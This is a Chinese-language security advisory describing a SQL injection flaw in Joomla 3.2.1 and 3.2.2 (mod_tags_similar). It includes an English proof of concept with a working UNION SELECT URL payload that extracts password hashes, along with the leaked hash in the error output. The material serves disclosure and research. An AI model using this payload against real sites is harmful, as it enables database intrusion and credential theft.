Joomla! 'index.php' SQL注入漏洞

发布日期:2014-02-06
更新日期:2014-04-02

受影响系统:
Joomla! Joomla! 3.2.2
 Joomla! Joomla! 3.2.1
描述:
--------------------------------------------------------------------------------
Joomla!是一款开放源码的内容管理系统(CMS)。

Joomla 3.2.1及3.2.2版本modules/mod_tags_similar/helper.php脚本内的ModTagssimilarHelper::getList()方法没有正确过滤用户提供的输入,这可使远程攻击者在后端数据库内注入或操作SQL查询。
 
<*来源:killall-9
 
  链接:
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Exploit Title: Joomla 3.2.1 sql injection
 # Date: 05/02/2014
 # Exploit Author: kiall-9@mail.com
 # Vendor Homepage:
 # Software Link:
 # Version: 3.2.1 (default installation with Test sample data)
 # Tested on: Virtualbox (debian) + apache
 POC=>
 ?id=\

will cause an error:

1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )

I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)

Now i can easily exploit this flaw:

?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29
 and obtain the hash:

1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5

CheerZ>

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Joomla!
 -------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 

参考:
 
EDB-31459
 URL:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/b1d3b1117615c4a3105867f4b15ec966.html